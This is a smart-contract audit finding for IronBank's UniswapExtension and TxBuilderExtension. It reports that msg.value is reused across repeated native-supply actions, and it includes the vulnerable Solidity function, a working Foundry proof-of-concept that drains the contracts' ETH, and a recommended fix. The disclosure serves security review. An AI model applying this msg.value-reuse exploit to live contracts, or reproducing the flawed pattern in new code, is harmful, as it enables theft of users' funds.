shaka

high

# Ether held by `UniswapExtension` and `TxBuilderExtension` can be stolen by anyone.

## Summary

Ether held by `UniswapExtension` and `TxBuilderExtension` can be stolen by anyone. 

## Vulnerability Detail

In `UniswapExtension` and `TxBuilderExtension` the `seizeNative` function allows the owner to withdraw ETH from the contract.

However, any user can also steal all the ETH from the contract. To do so, the attacker will call `execute` with some ETH and multiple `ACTION_SUPPLY_NATIVE_TOKEN` actions. This will execute `supplyNativeToken` internal function multiple times. This function deposits `msg.value` into the `IronBank` contract. As a result, the attacker may be able to deposit `msg.value * actions.length` ETH into the `IronBank` contract and redeem the ETH later.

```solidity
460    function supplyNativeToken() internal nonReentrant {
461        WethInterface(weth).deposit{value: msg.value}();
462        IERC20(weth).safeIncreaseAllowance(address(ironBank), msg.value);
463        ironBank.supply(address(this), msg.sender, weth, msg.value);
464    }
```

## Impact

Anyone can steal all the ETH from the `UniswapExtension` and `TxBuilderExtension` contracts when only the owner should be able to withdraw ETH from the contracts.

## Code Snippet

https://github.com/sherlock-audit/2023-05-ironbank/blob/main/ib-v2/src/extensions/UniswapExtension.sol#L461

https://github.com/sherlock-audit/2023-05-ironbank/blob/main/ib-v2/src/extensions/TxBuilderExtension.sol#L253

https://github.com/sherlock-audit/2023-05-ironbank/blob/main/ib-v2/src/extensions/TxBuilderExtension.sol#L291

## Proof of concept

Test added to `TestUniswapExtension_Integration.t.sol`.
```solidity
function testStealEther() public {
    vm.deal(payable(extension), 10e18);

    uint256 poolWethBefore = IERC20(WETH).balanceOf(address(ib));
    uint256 user1EthBefore = user1.balance;
    uint256 extensionBefore = payable(address(extension)).balance;
    uint256 supplyAmount = 10e18;

    vm.prank(user1);
    UniswapExtension.Action[] memory actions = new UniswapExtension.Action[](2);
    actions[0] = UniswapExtension.Action({name: "ACTION_SUPPLY_NATIVE_TOKEN", data: bytes("")});
    actions[1] = UniswapExtension.Action({name: "ACTION_SUPPLY_NATIVE_TOKEN", data: bytes("")});
    extension.execute{value: supplyAmount}(actions);

    uint256 poolWethAfter = IERC20(WETH).balanceOf(address(ib));
    uint256 user1EthAfter = user1.balance;
    uint256 extensionAfter = payable(address(extension)).balance;
    assertEq(poolWethAfter - poolWethBefore, supplyAmount * 2);
    assertEq(user1EthBefore - user1EthAfter, supplyAmount);
    assertEq(extensionBefore - extensionAfter, supplyAmount);
}
```

## Tool used

Foundry

## Recommendation

Do not allow multiple actions that use `msg.value` in a single `execute` call or use a state variable to keep track of the ETH available to be supplied by the caller.